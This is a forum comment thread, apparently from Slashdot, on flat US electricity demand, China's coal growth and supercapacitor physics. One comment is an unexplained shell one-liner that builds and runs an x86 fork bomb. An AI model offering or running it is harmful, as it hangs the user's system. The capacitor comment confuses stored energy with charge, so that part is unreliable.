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After Rising For 100 Years, Electricity Demand is Flat (vox.com)
An anonymous reader shares a report: The US electricity sector is in a period of unprecedented change and turmoil. Renewable energy prices are falling like crazy. Natural gas production continues its extraordinary surge. Coal, the golden child of the current administration, is headed down the tubes. In all that bedlam, it's easy to lose sight of an equally important (if less sexy) trend: Demand for electricity is stagnant. Thanks to a combination of greater energy efficiency, outsourcing of heavy industry, and customers generating their own power on site, demand for utility power has been flat for 10 years, and most forecasts expect it to stay that way. The die was cast around 1998, when GDP growth and electricity demand growth became "decoupled." This historic shift has wreaked havoc in the utility industry in ways large and small, visible and obscure. Some of that havoc is high-profile and headline-making, as in the recent requests from utilities (and attempts by the Trump administration) to bail out large coal and nuclear plants.
Peak coal in China? Not according to the Chinese government.
https://en.wikipedia.org/wiki/Coal_in_China
"electricity consumption is expected to grow by 3.6-4 percent over 2016 to 2020 according to (China's Official) Thirteenth (five-year) Plan (2016–2020).[4] According to the same five-year plan, coal power capacity will be expanded from 960 GW to under 1,100 GW by the end of 2020 to meet some of the continued growth in electricity demand.[4] Indeed, in the first two months of 2016, China had added 22 GW of capacity, 14 GW of which was coal, according to the China Electricity Council.[5] "
Yup, they've agreed to peak emissions 'around 2030'
https://www.reuters.com/articl...
BEIJING, Nov 14 (Reuters) - China's total volume of carbon emissions is set to rise by a third in the next 16 years, according to scholars from China's Tsinghua University, even as the world's biggest carbon polluter has pledged the climate-warming gas emissions will peak by 2030.
China's president Xi Jinping announced this week that the country would strive to bring its spiralling carbon emissions to a peak by "around 2030" as part of a joint commitment with the United States to combat global warming.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
supercapacitors at present are more sci-fi than fact if they are thought of as competing (in capacity) to batteries.
The formula for a capacitor has in its formula A/d
A is the area (of the plates)
d is the distance (between the plates)
so a small distance and big area is how to make super capacitors. The problem comes when you want to charge the capacitor because the d distance sets the limit of the voltage (due to the breakdown the the diametric, which is whatever material is between the plates) the charge stored on a capacitor is
0.5 (CV^2) so the charge is proportional to the square of the voltage meaning you need lots of voltage to get a big charge (or amount of stored energy) so what makes the capacitor value large makes the amount of charge you can store small. This is the issue currently with super capacitors just because of the basic physics of capacitors. So unless an amazing dielectric is found that has super incredibly high breakdown voltage and is easy to form onto the plates we probably will have to keep looking to batteries.
You can't handle the truth! - Because I don't post left all my comments get modded down, bye bye Karma.